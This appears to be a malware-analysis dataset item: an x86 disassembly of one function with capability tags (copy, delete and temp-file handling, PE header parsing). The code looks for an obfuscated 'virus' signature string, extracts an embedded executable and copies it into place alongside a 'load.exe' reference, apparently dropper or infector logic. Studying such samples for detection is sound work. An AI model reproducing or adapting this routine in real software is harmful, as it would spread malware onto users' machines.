Function at 0x40b0c8
Capabilities:
Copy file
Delete file
Get common file path
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffaac
push ebx
push esi
push edi
mov esi, str.Dpodfqu_Wjsvt_DW_W_
lea edi, [ebp - 0x1c]
mov ecx, 6
rep movsd dword es:[edi], dword [esi]
push 0
push 0x90bc
mov eax, dword [ebp + 8]
push eax
call fcn.0042e350
add esp, 0xc
mov edx, dword [ebp + 8]
push edx
push 1
push 0x40
lea ecx, [ebp - 0x5c]
push ecx
call fcn.0042e2b0
add esp, 0x10
mov eax, dword [ebp + 8]
test byte [eax + 0x12], 0x20
je 0x40b11a
xor eax, eax
jmp 0x40b35b
xor esi, esi
lea eax, [ebp - 0x5c]
mov dword [ebp - 4], eax
xor ebx, ebx
mov eax, dword [ebp - 4]
mov edx, eax
lea eax, [ebp - 0x1c]
cmp byte [eax], 0
je 0x40b13d
movzx edi, byte [eax]
xor ecx, ecx
dec edi
mov cl, byte [edx]
cmp ecx, edi
jne 0x40b145
inc ebx
inc edx
inc eax
cmp ebx, 0x18
jl 0x40b12c
cmp ebx, 0x18
je 0x40b153
inc esi
inc dword [ebp - 4]
cmp esi, 0x20
jl 0x40b122
cmp esi, 0x20
jne 0x40b15f
xor eax, eax
jmp 0x40b35b
add esi, 0xbe20
cmp esi, 0xbe71
jge 0x40b1fc
push 0
push esi
mov edx, dword [ebp + 8]
push edx
call fcn.0042e350
add esp, 0xc
mov ecx, dword [ebp + 8]
push ecx
push 1
push 0x40
lea eax, [ebp - 0x5c]
push eax
call fcn.0042e2b0
add esp, 0x10
xor ebx, ebx
cmp byte [ebp - 0x5c], 0x4d
jne 0x40b1ed
cmp byte [ebp - 0x5b], 0x5a
jne 0x40b1ed
xor ebx, ebx
xor eax, eax
mov bl, byte [ebp - 0x1f]
mov al, byte [ebp - 0x20]
shl ebx, 8
push 0
add ebx, eax
lea edx, [ebx + esi]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.0042e350
add esp, 0xc
mov eax, dword [ebp + 8]
push eax
push 0xf8
push 1
lea edx, [ebp - 0x554]
push edx
call fcn.0042e2b0
add esp, 0x10
cmp dword [ebp - 0x554], 0x4550
je 0x40b1fc
xor ebx, ebx
jmp 0x40b1fc
add esi, 0x40
cmp esi, 0xbe71
jl 0x40b171
mov eax, 1
test ebx, ebx
jne 0x40b206
dec eax
push eax
mov edx, dword [ebp + 8]
push edx
push 0x8ea
call fcn.00401410
add esp, 0xc
dec eax
je 0x40b222
xor eax, eax
jmp 0x40b35b
push 0x400
lea edx, [ebp - 0x45c]
push edx
call sub.KERNEL32.DLL_GetWindowsDirectoryA
push 0x444ce6
lea ecx, [ebp - 0x45c]
push ecx
call fcn.0042bd64
add esp, 8
push str.load.exe__dontrunold
lea eax, [ebp - 0x45c]
push eax
call fcn.00417cc4
add esp, 8
test ebx, ebx
je 0x40b345
lea edx, [ebp - 0x45c]
push edx
push 0x400
call sub.KERNEL32.DLL_GetTempPathA
lea ecx, [ebp - 0x45c]
push ecx
push 0
push 0x444d07
lea eax, [ebp - 0x45c]
push eax
call sub.KERNEL32.DLL_GetTempFileNameA
test eax, eax
jne 0x40b29a
or eax, 0xffffffff
jmp 0x40b35b
push 0x444d0a
lea edx, [ebp - 0x45c]
push edx
call fcn.0042dfd0
add esp, 8
mov edi, eax
test edi, edi
sete cl
and ecx, 1
test cl, cl
je 0x40b2c4
or eax, 0xffffffff
jmp 0x40b35b
push 0
push esi
mov edx, dword [ebp + 8]
push edx
call fcn.0042e350
add esp, 0xc
xor ebx, ebx
jmp 0x40b2ec
push edi
mov eax, dword [ebp + 8]
push eax
call fcn.00430138
pop ecx
push eax
call fcn.00430160
add esp, 8
inc ebx
cmp ebx, dword [ebp - 0x504]
jb 0x40b2d7
push edi
call fcn.0042db24
pop ecx
mov edx, dword [ebp + 8]
push edx
call fcn.0042db24
pop ecx
push 0
mov ecx, dword [0x46a898]
push ecx
lea eax, [ebp - 0x45c]
push eax
call sub.KERNEL32.DLL_CopyFileA
mov ebx, eax
lea eax, [ebp - 0x45c]
push eax
call sub.KERNEL32.DLL_DeleteFileA
push 0x444d0d
mov edx, dword [0x46a898]
push edx
call fcn.0042dfd0
add esp, 8
test ebx, ebx
jne 0x40b356
or eax, 0xffffffff
jmp 0x40b35b
push 0
mov edx, dword [0x46a898]
push edx
call fcn.00417790
add esp, 8
mov eax, 0x8ea
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret